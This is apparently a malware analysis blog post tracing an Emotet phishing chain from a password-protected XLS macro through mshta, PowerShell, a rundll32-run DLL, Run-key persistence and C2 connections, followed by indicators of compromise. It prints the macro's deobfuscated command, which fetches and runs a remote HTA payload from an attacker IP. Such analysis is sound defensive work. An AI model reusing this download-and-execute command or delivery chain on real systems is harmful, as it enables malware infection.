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Overview
 

NetbyteSEC malware analyst team has come across a Microsoft Excel document containing
a malicious macro code. The suspicious email was received by our client. The malicious
attachment seems to be an Emotet malware that is often used in phishing campaigns.

Emotet is a Trojan that primarily spreads through malicious spam attachments pretending to
be invoices, shipping documents, delivery notification, etc. The attachment may arrive either
via malicious script, macro-enabled document files, or malicious link, which will download the
Emotet excutable upon execution. The Emotet emails may contain familiar branding
designed to look like a legitimate email. Emotet may try to persuade users to click the
malicious file.
The scenario of the analysis is as follows:
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Figure 1: Flow of Emotet Attack

 

Email analysis

Spearphishing Attachment

Upon opening the victim’s suspicious email attachment. The attachment is encrypted with the
given password "1843". Since the attachment was encrypted, the Google mail server cannot
scan for viruses. It was normal for an organization to encrypt their attachment however, the
receiver should be aware of potential malicious content when received via email. 

https://blogger.googleusercontent.com/img/a/AVvXsEj5gyoAutYiHUJjtR9XdymbUibpnGaXw4ZNfm5bme5zFkOxsDtfuINwOCTbF0PCTExFw9Rja4ZuqjzGYe74D7Y8hE6OgZJoUWlriyfaQGtEVMjisbZbxkn9W7haClB-8K6jhBEeGcKAUx5IsmUPl3nwgBXWw8T2feoQ8jzXA7k1nL0xD-mIgWCoQw7fsw=s1119
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 Figure 2 : Email details
 Investigating the email, Netbytesec malware analyst noticed that the attackers used DNS

name spoofing to impersonate their display name as a legitimate user. Also, attached to the
email is an attachment of a zip file containing payload of the attackers.

 

Malicious document analysis

Further analysis will focus on the malicious document (XLS) used as the lure inside the
password protected zip file.

MD5 Hash: 25995b47257212e2e3ca5f7704c9e830
 Filename: untitled_176399.xls

 File Type:  Excel Binary File Format (.xls)

Upon opening the malicious document, the attacker used a common tactic deployed by
cybercriminals to trick victims to click the “Enable Content” ribbon button display in Microsoft
Excel as shown in Figure 3 below. Unsuspected victim will enable the content macro thus
leading to the malicious script being executed in the background stealthily without the
victim’s knowledge.

https://blogger.googleusercontent.com/img/a/AVvXsEjNSKjRfc4Hu18_SB9Zlb3S4K7FZRRi0Y_l1YQheh8CRi3JKcF5PRoq2DibYLhvw3oJjn89cd-IpO1c5tCdiGTewYq2ML3nrsLfW5owG3i5raiujhWvAzqUzlotp0N_-UT2pmvROg1uXgowjGbv8yckGzu_3v-EQ-6KR0wBuJdVSZkAYWS_-jl6kOYI=s790
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Figure 3 : Opening the malicious document
Enabling the content will execute the macro embedded in the lure document which will lead
to malicious macro execution.

Investigating the Excel file, Netbytesec malware analyst found that there is a malicious Excel
4.0 macro stored inside the Excel file.

Figure 4 : Results from OleVBA3 against the malicious attachment
As shown in the figure 4 above, the malicious code will try to execute an obfuscated code of 
mshta http://91.240.118.168/oo/aa/se.html via CMD. 

https://blogger.googleusercontent.com/img/a/AVvXsEjRS6pGj0oyWKJRpsBesFTp2oqgA9FVOhcOMJViPwbNIK3Lj7wFqEpwV93UoNOyd5o14avkMktKnfVU9B_7SbBZQO-GnonYxIG_YRBcDBKkzd6vi7DyB2VjLEU6vpyGrkPNDSRusMgWdno995gVFkra1g9BWR-ZdvKuFatpSAE_f_A4qm9sSYwwnON4
https://blogger.googleusercontent.com/img/a/AVvXsEhACyUZXDBmnj1X9zxnAJySNGERJPuL22EClPP1C7CBZsgqXp_CbRQZhZkIeEpy1fC2WUkqRmhiQy35m5-y-12ydRHNdgooLtj_cNn6Rn-4qF1POR1TQ2Qiu6eFjPDl8YNVVoTmIK_JXevib_nehLr1eeF8100vOLLn1j9uAjVtxBozB40eaSBdR4VV=s755
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Next, Netbytesec malware analysts perform VirusTotal lookup to check for any further clues
on the IP address found in the VBA macro. It seems that 16 security vendors in VirusTotal
flagged the IP address as malicious as shown in following figure.

Figure 5 : 16 security vendors flagged this IP address as malicious.
Futhermore, the community in VirusTotal also mentioned that the IP address is a collection of
IP addresses used for the Emotet malware campaign. This convinces Netbytesec malware
analyst that the IP address found in the Excel 4.0 macro is one of the Indicator of
Compromise for the Emotet campaign.

Once the malicious document (maldoc) opens and enables the macro, the maldoc runs the
macro code and downloads the se.html which contains malicious javascript payload. The
deobfuscated Macro VBA code from the malicious excel document would look like this: 

CMD.EXE /c mshta http://91.240.118.168/oo/aa/se.html 

This malicious code uses mshta.exe which will fetch and execute HTA code in the se.html.
The usage of mshta.exe is a common technique used by malicious attackers to execute
Microsoft HTML Application (HTA) files. Mshta may execute Windows Script Host code
(VBScript and JScript) contained within HTML, as its full name suggests. In this scenario, the
code se.html was a javascript and visual basic scripting payload.

Based on the PCAP analaysis, below figure shows the HTTP request and response to the
server (91.240.118.61) to fetch se.html. We will explain in the next section about what
se.html does in this malicious attachment.  

 

https://blogger.googleusercontent.com/img/a/AVvXsEh7VG5AAz1Asoxjw5rQOckvJfqIxQfPyJX0Cnx90JX9qZrbntj3QPEM1DRJ2QSauur95Rx-Wl0ttfzm04Q8ZOOKNWvx4LwSsKVTN0h6kynkFN0manMiUtCdOVYHVkgHKzaaInQ3auWuLFCeMRZtdBdTBPOoadK856lAlOv5OXQRQB09l9bJWYX04eQ5GQ=s1291
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Figure 6 : The captured network traffic that is generated by the malicious document.
Upon opening the malicious HTML file (se.html), the HTML page appears to be protected by
HTML Guardian per said by the banner in the display.

 

Figure 7 : Opening the se.html through the web browser
Trying to read through the browser's view source file also prevents us from getting more
information regarding what the HTML content. Scrolling down the html file, Netbytesec
malware analyst discovered some HTML code starting at line 65.

https://blogger.googleusercontent.com/img/a/AVvXsEjd9S6E1_UYK5daV4zgfEUy472QBql-YkgI36Wg8Xif5HA9bDGZUiEhDrsMe74NzYOY4vKCq-0wQC7oCRaeztEronUNgNUbazWiBeG1QyRyxyO6vA4eYk2ZMCwjPxD0WBEZNFl8z7JeU_r15y2o0EcQ3pcgnD_Zgk4SJLuswKluaFCps7hW3kgr_T4A=s883
https://blogger.googleusercontent.com/img/a/AVvXsEhFliZaEh0JRIHVcFnr2XYzqKuYyC4RLI9tKxPsMWdILNeMaqqrDQEOFmU1NFOhE5wa2bBN_EWucfKfLkvBPCWq9mYlk0u8387_dSww_zfDSgAdSG-Bs4-0wWwRU-1m5W2XmoCFK4c2HoF5SHhVzOiWaAciaEec3E4BmrghV7okdq5F58jIQYVzJfRk=s938
https://blogger.googleusercontent.com/img/a/AVvXsEj_DkWzRSWx23EQc0cnX9JX_vNTpx7RQlFmxOuKcsm35ubHIzADZGPXrTGu_R8e-U6Bso_qNuwS-VIxiBEodRVYr-CKwLnKy2c3RCXcnD5EQxy3NjAwinmMruKZFsEcKh-NmzVfC6v_rebS5Y3qC4LV00ATUofv9zm9Cq804hcoCTaPhKCoFipJJPSu


7/18

Figure 8 : The content of the html file can be seen started at line 65
Netbytesec malware analyst started to investigate and analyzed the malicious payload
se.html and found  the code was obfuscated javascript code.

The figure below shows the obfuscated javascript code that Netbytesec malware analyst
gained from se.html.

 Figure 9 : Obfuscated Javascript se.html
Inspecting the code can see that the most of the script is used for the display page and only
portion of the code for the malicious payload.

Figure 10 : HTML Structure of se.html
 

https://blogger.googleusercontent.com/img/a/AVvXsEgaS66TwH3kRMfgICpAU7O7421jX1RUxXHQX03LukFz93eisIRR_H2s-uIzWXoBqxIc0S816GKalSfL9PNkcSODe1NBfCHls7A7HRyIDSnlTG1AsJHYpuXU-X9yYEcux7HTkYAkTGtPkJzsGNSykwnm4b8nqoVZ2n9JOJB_BA3qpfljW0ZO-EVGLlvk=s946
https://blogger.googleusercontent.com/img/a/AVvXsEgaaBHDS967GjaLrx-UGthRcLoBeniCZNNp08SxlXKd6tdQoAU4_h8Eb3sMQBk0UMWrb3ObaQbLL8zRfVcuDYcU_QFdzyCKc7VwjhG6kQzzzASaiwQNhjnCJAYJIm4U2i22D_3orJJITAM5yqqL1TLxb1kHH-u_uRbH1a2lzyQCvjIQawlc7U9je1d_=s794
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 Figure 11 :  VB script contained in an html file.
Based on figure 11 above, the syntax “Window.ReSizeTo 0,0” refers to nullifying the size of
the script in the webpage. On other hand, ‘visibility:hidden’ hides the appearance of the script
while disabling click-ability on the element.

Figure 12 : Deobfuscated VB script which leads to an obfuscated Powershell command.

https://blogger.googleusercontent.com/img/a/AVvXsEj0b3Tioj1Drs_q57FlcDDWnFwYPR_O5WKYs2XviXgN4rZAKdcklhGdPWHv_36rJDFQt1tTcYrJWdoRPlXQu8f87d7XrKvECK8Ifh631imrMsj-pOYGHyfbmfXhcO3OjLNxNaBV0qgiT18JrfQ6HdjfZY1WRzV11bapkPAEVg5cgwQPBM_w4BQyMWYc=s747
https://blogger.googleusercontent.com/img/a/AVvXsEisIUqfbRFJWq7Kz-7FV7lu3tFoGAKh-5p4z9IcZWHcRHQAMQanBdzT-M8df3lsLqEsT8LDmtr4K7cwvuDFJrPztRHi1gNo3MLDGT_fsRUPzLBJq428hXWFk3_4Ol2r43870SvqW4ErxMjrPDia2quuhtWmXEKmK64t7-SwZkEQ1zYRGCgKKneH3XC1=s946
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Next, Netbytesec malware analyst start to investigate the script in the HTML file that does
the execution of the obfuscated Powershell commands and able to retrieve the obfuscated
Powershell payload.

Command and Scripting Interpreter: Powershell 

The code mentioned in figure 12 are as follow:

Figure 13 : Deobfuscated Powershell code.
From the decoded Powershell, Netbytesec malware analysts looked up the link URL
http://91.240.118.168/oo/aa/se.png and found another malicious Powershell script. The
se.png file  contains Powershell code as shown in figure below.

 

 
Figure 14 : Powershell code from se.png that will downloads malicious DLL from available
website
Based on the figure 14 above, the Powershell script basically will download an executable
from the URLs and execute it using Rundll32.exe. 

 

https://blogger.googleusercontent.com/img/a/AVvXsEjl6YGHJaMWZJS2RILDgC_hSAUldeskHD0tqr9G44sSgvpjeeSewC9CcI3RrNh_GFJR7MEpZLhQPwmsHHCTDZevG5xYFU4gbBOzATLqHigUlIEcejLhBndqrhXPyJZHJvChyiVBjBrWUC_jMumpQUF3ParDVpL7HRgD_bwkFj4xqHHpJz6xgHrKbNkK
https://blogger.googleusercontent.com/img/a/AVvXsEhV-PJBe13-6zO7L6s0lS0gY0SxdehZrz8P3P_hZzRimaHpuMCf9XbV7zwEFU_gOflfR52AUz7XwDA5DZth0LaKecu5VaG0asQx4hwqndGy7wRrkoLdJHg62vSly-zShWjt3cvfiSZ0X315rC0vO8gYA1W-mywyEOFZrHAtcWCnHue8n8vNhqDfSM1T
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Malicious DLL analysis

Signed Binary Proxy Execution: Rundll32 

According to the previous Powershell command, the malicious script  downloads the
malicious DLL file and saves it at C:\ProgramData folder with name QWER.DLL. Next, the
Powershell command will call cmd.exe to execute RunDLL.exe with QWER.DLL as its DLL
path and "AADD" as its arbitrary export.

 

Figure 15: Powershell execution to run malicious DLL files with arbitrary arguments
As shown in the red box in figure below, at the end of the script, the script will execute the
command to begin the DLL binary execution.

Figure 16: DLL execution
"AADD" is the export argument used for executing QWER.DLL. However, the arguments can
be anything and arbitrary as long as it is not empty or null in order to run it as intended. After
that, a second Powershell execution will be triggered.

https://blogger.googleusercontent.com/img/a/AVvXsEgZrwltnc7y6pTdHRpeX_NObxwRfUoFRS_WvAfxHlu_tFmC3_hCorbFkBmgn1gJtgZ_T__q5TGg7f65kcyZJevxoiMCphdN0zRk9fMx3-W7-D6YtjzmhoGQMI13pRIsT5GRyPANLpwV2XjDMFQ8xMCOOQBqSCa06kZ08G8BGItYa7-AaL_lKInxn16v
https://blogger.googleusercontent.com/img/a/AVvXsEjqJUOvWLVztAplVwTLssyBZIOIYF6PtPOD_-ZkL1j_ygoyEzQucuV2iTS4I7QMu5_3Mf4GQ4pM2flzagir4Eu0I7Xi8icXM_kpuH8y8ggFKMG7EJDO33VbJwUES49n4Q_XNLAZbFh1f7KFhMUqqZbztHMk0HRhJe9nAbNt0B_hPcFM5LUeSBvR0Nfl=s861
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Figure 17: Rundll32.exe executable running the malicious file with specific arguments,
‘DllRegisterServer’
 
The second execution will only run after the first execution of the malicious DLL which
contains arbitrary arguments as a trigger point. The secondary execution contains the real
entry point of the malicious DLL which uses cmd.exe to call Rundll32.exe with the export
arguments of ‘DllRegisterServer’.

This behavior can be found in the disassembled code where the malware first will decrypt or
unpack their code in the heap and then call the address of the unpacked code at the address
10046FA3 as shown in the figure below. 

 
 

Figure 18: The sample call the unpacked code
 

In the unpack/decrypted code, there are two main functions that the subroutine will do. The
first one is to spawn the Rundll32 command and the second part of the subroutine is to exit
the process. When the spawn of the Rundll32 function is being called, it will literally run the

https://blogger.googleusercontent.com/img/a/AVvXsEgTj4MB0uRSGzPDCXizCJQnNce2WoHYLcyb3T_S1vhTumqQE2Pg44hDbPAdufM1j6Op6KoxqR-HCge_e574yHmBTJ2BDrjHCizYFEwsfRAVW78Q0lgs7W5u3jacNNPKbcw_7V2YlRLm-DJToz9WcVoIDgb3Aw049FOKg3oq2Dj69NUjL710c07dL6xZ
https://blogger.googleusercontent.com/img/a/AVvXsEhRRsT2PDRyTxLEnQSiFNq1KAgAaEBVo2VqqpG9Ex_DShqo1hKUQFvI2M822Q3vbJ8dRTQC-gaeI0wfPlleHt8LkmOSBPyIbOxF8F-8ypYSS3YB4I6UobQlC-T6FWjeLmOdq-zGpjcW0aKTOU8V8nfBtWtkQ65jY0sgjh3In7NgJ-8OlOy6YNyjejDkJA=s1211
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command with the export name “DllRegisterServer” which will invoke the “DllRegisterServer”
export function at the second stage.

In the figure 19 below, the sample build up and import CreateProcessW Windows API from
kernel32.dll and runs the function which lead to the command execution of Rundll32
application.

 

Figure 19: QWER.DLL sample import CreateProccessW Windows API

Drilling down the inner code of the export DllRegisterServer will gave us a clue what does
the function does. The first subroutine in the function will do the unpacking process of the
code into an allocated memory and return the address in EAX register. The address then will
be invoke at line 0x10045da0 as shown in following figure.

https://blogger.googleusercontent.com/img/a/AVvXsEjKw1v8NPR2iERLOmptj5KXOfUAFmQz6kQP_uyFf4Cr_Aszzcyb4xZXq8tKhpXyPUTXc1NoWWojQu9cK8mJ3AurT1GzuE-KXcyq18DIBB336dDv8uV-u4Rrplr-NkxprIHt-jvSqjEnOePqxeijB0Q_ts0gsJL0F_zxAig0PI9XudH_Qck17Tp2nNVD=s940
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 Figure 20: DllRegisterServer code
 In this unpacked section, the malware makes the connection to three different C2 IP

addresses which will be explained in section TA001 Command and Control in the next
section ahead.

 

Registry Run Keys / Startup Folder

After the malware attempts to register at startup of the windows as persistence mechanism,
it will move and rename QWER.DLL to a new path with a new arbitrary name of DLL and
new arbitrary arguments. It will register on HKEY-USERS that contains user-specific
configuration information for all currently active users on the computer. 

Figure 21: Malware attempt to register at startup of the windows as persistence mechanism,
with alongside new binary with new arguments at new path 
 

https://blogger.googleusercontent.com/img/a/AVvXsEjySCMQDeJRMOkSySUXI2kQgbQuTBgJvJ9vHfIcH44iJYJFJJ7N1q1Td8NXdSANCpR_LRn8VW3IG6BF36Mkpy4-lP6ujd487-878X5BJ7t48C1GJ0avwHVxVL1BGy4r7pak64fbjKKI8fyJugAi9so_80xPIJyhyfdKxExP6zWzzWJkYYAP2WyEPhp0=s940
https://blogger.googleusercontent.com/img/a/AVvXsEj_p1XF1pOKTRIdNeHLcykKWLsoiSfI2FkyUA05nGYcaWAv9XnGdA6oeHxvl-55uwHxzOPALhnwE6_4aw6RIgkVjyc91y1T1WpLjJV7s_loM0ZkKIRLDLP9r27dEWIdXn12t0sww4pNJmri--jsUsFmg60htgF6Qr-qUTuJEcXMMyLe2AA5gQ0YU14B=s946
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The persistence of the malware is set up to be running when the victim starts up their
machine through Windows Registry’s register at
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.
 

Figure 22: Again, arbitrary arguments is used to trigger and run the new malicious DLL

Figure 23 : New malware with persistence at boot start-up executing DllRegisterServer
 At this point, the malware is well set up and hidden in a new path and persistence. It will run

every time the current user is booting up their  machine. 
 

 

Command and Control

During investigation, the communication with the C2 server was captured by Sysmon log
activity via port 8080. 

https://blogger.googleusercontent.com/img/a/AVvXsEiiVPJuUbQNM4BTwgQFRMQaA3pnyHO4kCBZq31dUX_lCaD2WwFtgHYswFgm_26ObGX3VkN2FnBnhkBu8tJKK4mHQKZrbOpSTd-oS_oEJJWPE2XMhXQ8Edt7Q1Kf-eaJVUZ3xum_CBzInKnfCZtkjIpS0vF3OKg0HuVN2l7Fbt8hoBIB47NJqOp3R0gL=s946
https://blogger.googleusercontent.com/img/a/AVvXsEiQpzUxvkMA3Wqj_6AfbWPuhQnNwwJUsQG-Xmy6fbYtqdqC1GNEC05uvVwo1r8FKoed1NdQyWKpRjgPz7y89BYw0KPe8RtWO1KhmYMeSnFJwU3DwCMJFbegXFZakavCpFmTuNm4N8rjfhYTe2UnYE0s7IX7f4HIcRdxXfoHHv-aXbJ51DfvcTnBXrXo=s946
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Figure 24 : Malware communicating with C2 Server of 159.69.43.124:8080
 
The TCP connection is initiated to 159.69.43.124 through 8080 port of the server right after
the DLL was executed. According to the Sysmon log, the domain name resolved to this IP is
clients.your-server.de.

  

Figure 25 : Virustotal intelligence confirmed that the IP is used for Emotet Command &
Control server
 
The malware uses Windows API InternetConnectW to create the connection to the C2
server. As you can see in the following figure, the malware creates the first connection to the
IP address 159.69.43.124 via 8080 port, the same as detected in the Sysmon log.

 

https://blogger.googleusercontent.com/img/a/AVvXsEivK96XQ6zn2LUcHz1RIYT_lWeEGLz7hZR4wqNR4VryF2aKZzKzIr3mcf0QaoGEchahrhL5Aa3UQAlY55UDhC2K6xCTIXYDjuJWu_DcHONNHcla7e36Zn2EHseR0K7-m5UTKkfhL7T50VydHnzbZDd_1bR83Nry7eF_zICwCddFNfxr7eebxjioAgoB=s946
https://blogger.googleusercontent.com/img/a/AVvXsEiIxLgiTUn-Y5u8JirM1Pc0b8DEvNRTeRG8SFRvFrt6BkFI-0mLnBdNDOO3GKyXID--slRy3KnZ1PZsP9Fh5qhUIK0OB-xE4Il9W2cqhfw5sYRFTxn8rLJAzrBSr20V8zsXXShGiI4tCxTWwvwu4D6mTYFVDkGj6849inu2WZIxffWEU3qU8nvv49hx=s946
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Figure 26 : Malware connection to first  C2 server, 159.69.43.124
Observing the behavior in the debugger resulting us to discover the second C2 connection.
The communication was made to the different IP address which is 45.79.80.198 on port 443.
 

Figure 27 : Malware making second connection to another C2 server, 45.79.80.198
Initiating the request of the connection will create the connection as Netbytesec malware
analyst observe the network behaviour and step over the HttpSendRequest function.

 

https://blogger.googleusercontent.com/img/a/AVvXsEjakxHQi4gM5Q7DEHA0EMlVXOnceb7VcvdQJB8GhVMCmsIhHYteoaVJuURKfS5zKCAuXZyKCYyHkgIClnstNJrjEsKF31VVExEiJF2g9XTbwGi12W1kODcnPR7Lx7dhRCjyjLlQCGjIATQqs0_rLmybdKmLHfla9Axq6VXQndLEKn36Zomws3fMKsDi=s940
https://blogger.googleusercontent.com/img/a/AVvXsEi-Np8hTGxAhidQYu-nybCRF8YQjXppHBrTO8AIcAPKG31NFrQmY58oIxBOUGa3vW6uv3MN7VHukNUdWzFlN_Vz8l7vL9ayQY96AtH2aCKDZOTIn5_KyfeBqdSpJkOwY9v1kVfT1D1I_-8XYIzOX08zVtq02LIkiABSxPkI-iB_N0m7jBpzZIc2yQsD=s940
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Figure 28 : Malware using HttpSendRequest function

Conclusion

The attacker sends email to the targeted victims by spoofing their display name to a
legitimate name. However, the email displays still stays the same, which is the original email
of the Emotet campaign agent. For this specific case, the attacker sent an email to one of the
target using hijacked email thread. In the email is attached an excel file titled
‘untitled_176399.xls ’. The content of their email contains a malicious script that will execute
mshta binary in order to download and execute the next malicious payload from
91.240.118.168. 

 
The executed malicious payload will download a PNG file from the same IP containing
Powershell payload that will download malicious DLL from one of the domains, save it at
C:/ProgramData with name QWER.DLL. Afet that, it will execute Rundll32.exe to run
QWER.DLL with an arbitrary argument. The execution of QWER.DLL with arbitrary argument
served as the trigger for the next execution of QWER.DLL with specific argument of
DllRegisterServer which is the real entrypoint of the DLL. 

 
The malicious DLL will duplicate itself to a new arbitrary path in C:/<Users>/AppData/Local/
with new arbitrary name and arbitrary arguments and register itself in
HKCU\Software\Microsoft\Windows\CurrentVersion\Run in Windows registry. As a result, the
malicious DLL will be persistent and will be executed every time the user boots up their
machine. The persistence malware will communicate with the C2 server at 159.69.43.124
through the port 8080.

 
 

Indicator of Compromises

 
IP address

91.240.118[.]168

https://blogger.googleusercontent.com/img/a/AVvXsEg6dfpqFI8OCdhrHF5KKAp0EGdsC6DViitKd_zaBZwFbTXMrC-2jU0b6EJzl94KAU6rlWdLoCbPMrQpEM0uEmxe1MBgm7wcxDJV6cYA8h0Ml6-ngTX-HXpQB9qSpIQI0aqA8YmtnRiLCsdfB_MqCcXrJwUgR_YnQA41H8CrvRn-Aw9poqqyWDHeBPNm=s1037
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159.69.43[.]124:8080 (C2 Servers)
45.79.80[.]198 (C2 Servers)

Domains

http://91.240.118[.]168/oo/aa/se.html
 http://91.240.118[.]168/oo/aa/se.png
http://farmmash[.]com/edh2fa/g2Q7Qbgs/
http://karensgardentips[.]com/cgi-bin/hfpv/
http://centrobilinguelospinos[.]com/wp-admin/w8528qkQnMPLDUc/
http://unitedhorus[.]com/wp-content/m3oxVSV2uYW2rbh/
http://vldispatch[.]com/licenses/JE6Ol2dfhrk/
http://il-piccolo-principe[.]com/wp-content/Ua9GvD7acXnDz/
http://hardstonecap[.]com/well-known/ps9kNMgc6/
http://3-fasen[.]com/wp-content/3Bl0hBbW/
http://baldcover[.]com/wp-admin/oRwkRUWpbJ55/

Hash

25995b47257212e2e3ca5f7704c9e830 (untitled_176399.xls)
9bf1102cd38dc1364f54407bb4cb2a (se.html)
63f0672552a000605e99190036e9676f (se.png)
74bb69b8ba9d2b649f4de5adb2cf06d9 (QWER.DLL)

 
 
Full report can be seen here

https://docs.google.com/document/d/1FR_hkr6DCHahZrcZM4SFbcNrWy4Nj0xwFhbXWOS-3-Q/edit?usp=sharing

